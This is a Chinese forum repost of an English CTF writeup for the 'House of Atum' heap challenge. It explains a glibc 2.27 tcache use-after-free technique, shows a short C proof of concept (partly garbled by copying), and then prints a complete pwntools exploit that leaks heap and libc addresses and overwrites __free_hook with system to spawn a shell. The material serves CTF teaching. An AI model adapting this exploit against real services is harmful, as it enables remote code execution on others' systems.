|
本帖最后由 Xor0ne 于 2020-3-31 19:38 编辑
鸟语花香
本题来自于:https://ctf.pediy.com/itembank.htm
请下载nyhx.zip和libc-2.27.zip。 题目地址: nc 221.228.109.254 11001 附件下载:
Writeup
(童鞋们,锻炼你们英语的时候到了,冲呀!!!fighting!!!)
House of Atum
This is a much more insteresting challenge. If you haven’t take a look at the challenge, I strongly
recomend you to try it.
Program info
This is a heap challenge too .
- int menu(){
- puts("1. new");
- puts("2. edit");
- puts("3. delete");
- printf("Your choice:");
- return getint();
- }
复制代码
The bug is obvious: UAF . But you have only 2 chunks to get the shell. This seems impossible at
the first glance. Is it?
Exploit
The server os is Ubuntu 18.04 , which you can judge from the version of the libc.so.6 . So it
use tcache .
We all know that pointers in tcache don’t point to a chunk itself, but at the offset of 0x10 . This
is because tcache doesn’t check the size or other things when allocating and pointing directly to
the address which user can control is more appropriate.
However , this makes it inconsistent with chunks in fastbin , as pointers in fastbin point to
the chunks itself.
It’s easy than it sounds. Take a look at the POC below .
- void *a = malloc(0x28);
- void *b = malloc(0x28);
- // fill the tcache
- for(int i=0; i<7 ;i++){
- free(a);
- } f
- ree(b);
- //What will happen with this:
- free(a);
复制代码
Get the idea?
Before the last free, the heap is like:
(PS:由于源码格式太好看了,复制过来他的美就流失了,所以我就把图片给截过来了!)
After the last free, it becomes:
Oh no! The prev_size of b will be used as the fd of the tcache ! And this field can be
controled by us!
Well, now you know how to solve the challenge.
Final exp:
(PS:由于源码的使用python写的,但是代码复制过来格式搞不了,所以我就把图片给截过来了。先上图片,源码在后面哦!)
源代码:
from pwn import *
local=1
pc='./heapme'
remote_addr=['',0]
aslr=False
#context.log_level=True
libc=ELF('/lib/x86_64-linux-gnu/libc-2.27.so')
if local==1:
#p = process(pc,aslr=aslr,env={'LD_PRELOAD': './libc.so.6'})
p = process(pc,aslr=aslr)
gdb.attach(p,'c')
else:
p=remote(remote_addr[0],remote_addr[1])
ru = lambda x : p.recvuntil(x)
sn = lambda x : p.send(x)
rl = lambda : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
def lg(s,addr):
print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))
def raddr(a=6):
if(a==6):
return u64(rv(a).ljust(8,'\x00'))
else:
return u64(rl().strip('\n').ljust(8,'\x00'))
def choice(idx):
def wrap(f):
def go(*args,**kargs):
sla("choice:",str(idx))
f(*args,**kargs)
return go
return wrap
@choice(idx=1)
def add(content):
sa("content:",content)
@choice(idx=2)
def edit(idx,content):
sla("idx:",str(idx))
sa("content:",content)
@choice(idx=3)
def free(idx,c):
sla(":",str(idx))
sla(":",c)
@choice(idx=4)
def show(idx):
sla(":",str(idx))
if __name__ == '__main__':
# leak heap
add("123")
add("123")
free(1,'y')
free(0,'y')
add('1')
show(0)
ru("tent:")
heap_addr=raddr()-0x231
lg("Heap addr",heap_addr)
# allocate a chunk at heap_addr+0x68
free(0,'y')
add(p64(0)*7+p64(0x61)+p64(heap_addr+0x68))
add("123")
for i in range(7):
free(0,'n')
free(1,'y')
free(0,'y')
add("123")
add("123")
# create fake chunk and leak libc
free(1,'y')
add(p64(0))
edit(0,p64(0)*3+p64(0xa1))
free(0,'y')
edit(1,p64(0))
add("123")
free(0,'y')
edit(1,p64(0))
add(p64(0x21)*9)
free(0,'y')
edit(1,p64(heap_addr+0x280))
add("123")
for i in range(0x7):
free(0,'n')
free(0,'y')
edit(1,p64(heap_addr+0x260))
add("A"*0x20)
show(0)
ru("A"*0x20)
libc_addr=raddr()-0x3ebca0
lg("Libc address",libc_addr)
libc.address=libc_addr
free(0,'y')
# modify __free_hook
edit(1,p64(libc.symbols['__free_hook']))
add(p64(libc.symbols['system']))
edit(1,'/bin/sh\x00')
sla("choice:",str(3))
sla(":",str(1))
p.interactive()
This inconsistence is interesting and never occurs in CTFs, so I name it House of Atum . I think
there are still many techniques that can be derived from it. I hope this challenge can bring you
something .
|
本帖子中包含更多资源
您需要 登录 才可以下载或查看,没有帐号?立即注册
x
|